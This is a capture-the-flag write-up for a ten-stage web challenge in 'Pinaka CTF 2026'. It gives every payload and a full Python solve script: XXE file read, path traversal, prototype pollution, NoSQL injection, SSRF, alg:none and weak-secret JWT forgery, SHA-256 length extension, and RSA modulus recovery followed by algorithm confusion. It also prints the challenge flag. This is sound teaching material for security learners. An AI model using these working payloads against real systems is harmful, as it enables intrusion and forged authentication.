Kakbhushundi: The 29th Universe

By Team Cryptonite · 3 min read

About the CTF: Pinaka CTF

Beating every level, decoding the token the game hands back, and the step that opened the 29th universe.

Kakbhushundi: The 29th Universe

**Pinaka CTF 2026** · Web · Team Cryptonite · All 44 Pinaka write-ups


Solve:

Kakbhushundi: The 29th Universe: step screenshot


eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJicmFobWFuZCI6ImF5b2RoeWEiLCJkcmlzaHRpIjoibWFudXNoeWEiLCJpYXQiOjE3OTM1MDA4NjMzOTQsImp0aSI6IjhnMHFqYWV5aTZxIn0.EXw70CJza2nCtiLXyKw_EjEI0GSP5QDF1c8pzlV6x0L1bhwXp84dul0HBjWjW_HSlUSNLCifE6MO0XOMTlEw95TW9eNj5E54ThkoE8OAgXk1x4jwdARBqEb54BNTrJ5f4ew3h-_LYn7cjtZRkD2O4iE-U_inoCAbDwhyWl8iVXQ3UJBaMmqcQ9Ve3w7hmROkho80TyzQ0lKVAxVTKgpF0EJANmfPKboFLygEfGU3uW6lDUmTH7wAiPw0HGGsVWw36k364XLJO6r-4iQborg-83l-pwtmlgIGLUfR4rjpnm2QBvySJNHJ8pUvxUyy2cIV9xFAABG0Y4vXqgucmbjjmg

{"alg":"RS256","typ":"JWT"}{"brahmand":"ayodhya","drishti":"manushya","iat":1793500863394,"jti":"8g0qjaeyi6q"}

1  Tataka         /api/katha
      The forest swallows, and the swallowed are not counted. Seek the one who is not on the list.

 2  Subahu         /api/homa
      Offer the fire an oblation of your own naming, and it reads back even what the priests sealed away.

 3  Maricha        /api/maya
      The court tests a vessel it trusts, not yours. Cast your illusion over every vessel at once.

 4  Viradha        /api/patra
      He was not slain but buried - one level below the grove you are shown.

 5  Khara          /api/dwar
      The gatekeeper's word is long and secret, but the gate compares loosely. Answer with a condition, not a word.

 6  Kabandha       /api/bhuja
      His arm carries the temple's own seal wherever it reaches - but it will not name the inner sanctum aloud.

 7  Akshayakumara  /api/mudra
      The gate asks the token how it wishes to be judged. Answer: by nothing at all.

 8  Kumbhakarna    /api/parvat
      The mountain's key is a short and common word. Break it where none can watch, then forge.

 9  Meghnad        /api/kavach
      The amulet binds its secret before your words and seals the whole. You are given a sealed pair and the secret's length.

10  Ravana         /api/flag
      Darshan is signed, and the public half is hidden - yet two signatures betray it. Then let a key forget its own nature.

Final gate: Only the drishti of kakbhushundi, gazing upon swarna-lanka where Dashanan falls, and bearing all 9 khandas, may read the sealed word.

- /api/universe -> shrine map and final gate requirements

- /api/katha -> Tataka, hidden pilgrim IDOR

- /api/homa -> Subahu, XML oblation

- /api/maya -> Maricha, JSON vessel merge

- /api/patra -> Viradha, scroll reader

- /api/dwar -> Khara, gate roster

- /api/bhuja -> Kabandha, URL fetcher

- /api/mudra -> Akshayakumara, JWT gate

- /api/parvat -> Kumbhakarna, JWT gate

- /api/kavach -> Meghnad, MAC-protected message

- /api/darshan -> returns an RS256-signed darshan JWT

- /api/garbha -> hidden inner sanctum, requires X-Antar-Yatra header

- /api/flag -> final gate, accepts {token, khandas}

- GET /api/katha?id=0 -> 9dd32532e232

- <!DOCTYPE yagna [<!ENTITY xxe SYSTEM "file:///agni-khanda.scroll">]><yagna><oblation>&xxe;</oblation></yagna>

- POST /api/homa with Content-Type: application/xml -> 2a486756ef52

- POST /api/maya with {"_proto_":{"darshan":"rishi"}} -> 2aa95abc0363

- GET /api/patra?scroll=../sealed/prithvi-khanda.scroll (URL-encoded: ..%2Fsealed%2Fprithvi-khanda.scroll) -> 89555a4458ab

- POST /api/dwar with {"naam":"dwarpal","mudra":{"$ne":null}} -> eb072559af0c

- (Omitting mudra entirely also passed during testing.)

- GET /api/bhuja?reach=https://<api-host>/api/%67arbha -> body.khanda = 1fc356c2c1ef

- header {"alg":"none","typ":"JWT"}, payload {"rank":"senapati"}, empty signature

- POST /api/mudra with {"token":"..."} -> cc143a62233e

- payload {"rank":"deva","woke":true}

- POST /api/parvat -> c5655016d2f2

- known message: bhakt=kush&rank=manushya

- append &rank=trikaldarshi with the SHA-256 padding for 15 + len(message) bytes, continue the hash state from the known digest, submit the new base64 message and MAC

- POST /api/kavach -> 475b91ac0d1a

- i had to doGET /api/darshan twice to get two RS256 tokens under the same key.

- for each token, i computed the PKCS#1 v1.5 encoded digest m_i = 00 01 FF... 00 || DigestInfo(SHA256(header.payload)) padded to 256 bytes.

- then i recovered the modulus n = gcd(s1^65537 - m1, s2^65537 - m2). The result is a 2048-bit RSA modulus.

- build the RSA public key (n, 65537) and export it as a SubjectPublicKeyInfo PEM.

- the verifier trusts the token's alg and accepts HS256 while using the PEM public key as the HMAC secret. Forge an HS256 token with claims copied from a real darshan plus brahmand = "swarna-lanka", drishti = "kakbhushundi".

- POST /api/flag with the forged token and all nine khandas.


#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import sys
from pathlib import Path

import gmpy2
import requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

sys.path.insert(0, str(Path(__file__).parent))
import hlextend

BASE = "https://kush-astra-yuddha.vercel.app/api/"
S = requests.Session()


def b64(data):
    return base64.urlsafe_b64encode(data).decode().rstrip("=")


def unb64(data):
    return base64.urlsafe_b64decode(data + "=" * (-len(data) % 4))


def get(path, **kwargs):
    r = S.get(BASE + path, timeout=15, **kwargs)
    r.raise_for_status()
    return r.json()


def post(path, **kwargs):
    r = S.post(BASE + path, timeout=15, **kwargs)
    r.raise_for_status()
    return r.json()


def rsa_public_key():
    differences = []
    for _ in range(2):
        header, payload, signature = get("darshan")["token"].split(".")
        sig = unb64(signature)
        digest = hashlib.sha256((header + "." + payload).encode()).digest()
        digest_info = bytes.fromhex("3031300d060960864801650304020105000420") + digest
        encoded = (
            b"\x00\x01"
            + b"\xff" * (len(sig) - len(digest_info) - 3)
            + b"\x00"
            + digest_info
        )
        differences.append(
            gmpy2.mpz(int.from_bytes(sig, "big")) ** 65537
            - int.from_bytes(encoded, "big")
        )
    n = int(gmpy2.gcd(*differences))
    assert n.bit_length() == 2048, "Unexpected modulus; retry with fresh darshans"
    return rsa.RSAPublicNumbers(65537, n).public_key()


def main():
    khandas = [None] * 9

    khandas[0] = get("katha", params={"id": 0})["khanda"]

    xml = (
        '<!DOCTYPE yagna [<!ENTITY xxe SYSTEM "file:///agni-khanda.scroll">]>'
        "<yagna><oblation>&xxe;</oblation></yagna>"
    )
    khandas[1] = post(
        "homa", data=xml, headers={"Content-Type": "application/xml"}
    )["consumed"]

    khandas[2] = post("maya", json={"__proto__": {"darshan": "rishi"}})["khanda"]

    khandas[3] = get(
        "patra", params={"scroll": "../sealed/prithvi-khanda.scroll"}
    )["khanda"]

    khandas[4] = post(
        "dwar", json={"naam": "dwarpal", "mudra": {"$ne": None}}
    )["khanda"]

    reach = "https://kush-astra-yuddha.vercel.app/api/%67arbha"
    khandas[5] = get("bhuja", params={"reach": reach})["body"]["khanda"]

    unsigned = (
        b64(b'{"alg":"none","typ":"JWT"}')
        + "."
        + b64(b'{"rank":"senapati"}')
        + "."
    )
    khandas[6] = post("mudra", json={"token": unsigned})["khanda"]

    header, payload, signature = get("parvat")["token"].split(".")
    assert (
        b64(hmac.new(b"lanka", (header + "." + payload).encode(), hashlib.sha256).digest())
        == signature
    )
    body = b64(b'{"rank":"deva","woke":true}')
    signing_input = header + "." + body
    forged = (
        signing_input
        + "."
        + b64(hmac.new(b"lanka", signing_input.encode(), hashlib.sha256).digest())
    )
    khandas[7] = post("parvat", json={"token": forged})["khanda"]

    amulet = get("kavach")
    sha = hlextend.new("sha256")
    extended = sha.extend(
        b"&rank=trikaldarshi",
        unb64(amulet["message_b64"]),
        amulet["keyLength"],
        amulet["mac"],
    )
    khandas[8] = post(
        "kavach",
        json={
            "message_b64": base64.b64encode(extended).decode(),
            "mac": sha.hexdigest(),
        },
    )["khanda"]

    public_key = rsa_public_key()
    pem = public_key.public_bytes(
        serialization.Encoding.PEM,
        serialization.PublicFormat.SubjectPublicKeyInfo,
    )

    original = get("darshan")["token"]
    claims = json.loads(unb64(original.split(".")[1]))
    claims.update(brahmand="swarna-lanka", drishti="kakbhushundi")

    header = b64(b'{"alg":"HS256","typ":"JWT"}')
    payload = b64(json.dumps(claims, separators=(",", ":")).encode())
    signing_input = header + "." + payload
    token = (
        signing_input
        + "."
        + b64(hmac.new(pem, signing_input.encode(), hashlib.sha256).digest())
    )

    result = post("flag", json={"token": token, "khandas": khandas})
    print(result["flag"])


if __name__ == "__main__":
    main()

Kakbhushundi: The 29th Universe: step screenshot

Flag:

Flag{KushDashavidhaNullOrigin_a64054596f782239}

Read this post on CyberHx →